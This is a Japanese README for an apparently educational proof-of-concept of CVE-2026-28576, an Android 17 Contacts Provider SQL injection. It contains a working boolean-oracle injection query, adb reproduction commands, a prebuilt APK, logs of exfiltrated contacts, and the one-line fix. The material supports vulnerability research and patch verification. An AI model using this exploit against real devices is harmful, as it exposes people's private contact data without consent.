
Android 17のContacts ProviderにおけるSQLインジェクションの脆弱性を実証する教育用の概念実証で、ゼロ権限アプリが単一連絡先URIグラントを介して連絡先データベース全体を外部に持ち出せるようにします。
1件の連絡先を選択しただけで、すべての連絡先が漏洩する: targetSdk互換ゲートにより、単一連絡先ピッカーの権限付与が連絡先データベース全体のダンプに変わる。
Android 17 は Contacts Provider を setStrictColumns() / setStrictGrammar() でSQLインジェクションに対して強化しましたが、その強化は targetSdk ゲート付きの互換性変更 (ENFORCE_STRICT_SQL_CHECKS、id 484953293、enableAfterTargetSdk="36") の背後に配置されました。SDK 36 以下をターゲットとするアプリはすべて、厳格チェックを黙ってスキップし、クエリの selection にブールオラクルのサブクエリを隠して、単一連絡先URIの権限付与を通じて連絡先データベース全体を読み取ることができます。READ_CONTACTS も不要で、権限は一切必要ありません。
注記: 私たちはこの脆弱性を発見したわけではありません。このリポジトリには、セキュリティコミュニティがこのバグクラスを理解するための、私たちによる独立した分析、再現、および教育目的のPoCが含まれています:
@EnabledAfter(targetSdkVersion)の背後にゲートされたセキュリティ修正は、レガシーターゲットのすべてのアプリを脆弱な経路に残します。
スクリーンショットとデモ動画付きの完全な解説記事: SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)
├── poc/ # PoCエクスプロイトアプリ (UI + システム連絡先ピッカー)
│ ├── src/ # MainActivity.java — ピッカー + ブールオラクルエクスプロイト
│ ├── AndroidManifest.xml # 権限ゼロ、targetSdk 36
│ └── build.sh # gradleなしでビルド: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # ビルド済みPoC APK (デバッグ署名済み、インストール可能)
├── REPRODUCE.md # 完全なステップバイステップ再現ガイド
├── evidence-*.log # 脆弱/修正済み実行のキャプチャログ
└── README.md
セキュリティパッチレベルが 2026-07-01 より前の Android 17 エミュレータが必要です
(私たちは AVD A17-Userdebug、sdk_gphone16k_arm64-userdebug 17 CP31.260623.012、
SPL 2026-07-05 — 脆弱な互換ゲートをまだ保持するベータイメージを使用しました)。
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# パッチレベルが修正前であることを確認
adb shell getprop ro.build.version.security_patch
# 被害者の連絡先を数件挿入 (連絡先権限を保持するshellとして)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
完全な連絡先シードと両方の実行バリアントについては REPRODUCE.md を参照してください。
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
画面上で:
checkUriPermission -> 0) と、正当に表示を許可された1件の連絡先を表示します。Android SDK (build-tools 36.0.0、platform android-37.0) と JDK 17 が必要です。gradleは不要です:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36、権限なし)
権限付与レイヤーは正常に機能します。 Android 17 の連絡先ピッカーは、アプリに正確に1件の連絡先に対する読み取り専用URI権限付与を渡します: content://com.android.contacts/contacts/lookup/<key>/1。それ以外を直接クエリすると、SecurityException で拒否されます。
SQLレイヤーは機能しません。 PoC が SDK 36 をターゲットにしているため、CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) は false を返し、プロバイダーは setStrictColumns() / setStrictGrammar() をスキップします。常時有効な setStrict(true) の括弧ラッピングは、') OR 1=1 -- のような句の分離のみを防ぎます。バランスの取れたサブクエリに対しては何も行いません。
ブールオラクルインジェクション。 アプリは、付与されたURIに対して、selection に隠されたサブクエリを含む通常のクエリを発行します:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
推測した文字が一致すれば、付与された行が返されます (cursor.getCount() == 1)。それ以外の場合、カーソルは空です。文字の推測ごとに1回のクエリを、すべての行とmimetypeに対して で反復します — 電話番号は1秒未満、データベース全体でも1分未満で取得できます。
脆弱な Android 17 ビルドでは、権限ゼロのアプリが単一連絡先の権限付与を通じてすべての名前、電話番号、メールアドレスを外部送信します (evidence-picker-run.log を参照):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
修正では、変更 484953293 が targetSdk に関係なくすべての呼び出し元に適用されるように変更されました — 単一の削除されたアノテーションです (公開バリアント: GrapheneOS commit c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
フラッシュなしで、脆弱なビルドで正確な修正済み動作を再現できます:
adb shell am compat enable 484953293 com.poc.cve202628576
# 同じクエリがSQLiteに到達する前に失敗するようになりました:
# IllegalArgumentException: Invalid token SELECT
evidence-patched-run.log を参照してください。
分析とPoC: Mobile Hacking Lab。私たちは教育目的でこの脆弱性を独立して再現しました。
この概念実証は、教育および許可されたセキュリティ研究目的のみで提供されます。所有している、またはテストの明示的な許可を得ているデバイスと環境でのみ使用してください。著者はいかなる誤用に対しても責任を負いません。
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| 深刻度 | 速報ではHigh。GitHubのアドバイザリではCVSS v4 10.0 (Critical) と評価 — 前提条件を考慮すると議論の余地あり |
| コンポーネント | Contacts Provider (ContactsProvider2.queryLocal()) |
| 根本原因 | ENFORCE_STRICT_SQL_CHECKS 互換性変更が @EnabledAfter(BAKLAVA) の背後にゲートされている |
| 影響 | 単一連絡先URIの権限付与を持つアプリが、READ_CONTACTS なしで連絡先データベース全体を読み取る |
| 影響を受けるバージョン | Android 17、セキュリティパッチレベル < 2026-07-01 |
| 修正済み | Android 17 セキュリティ速報 |
LIMIT 1 OFFSET k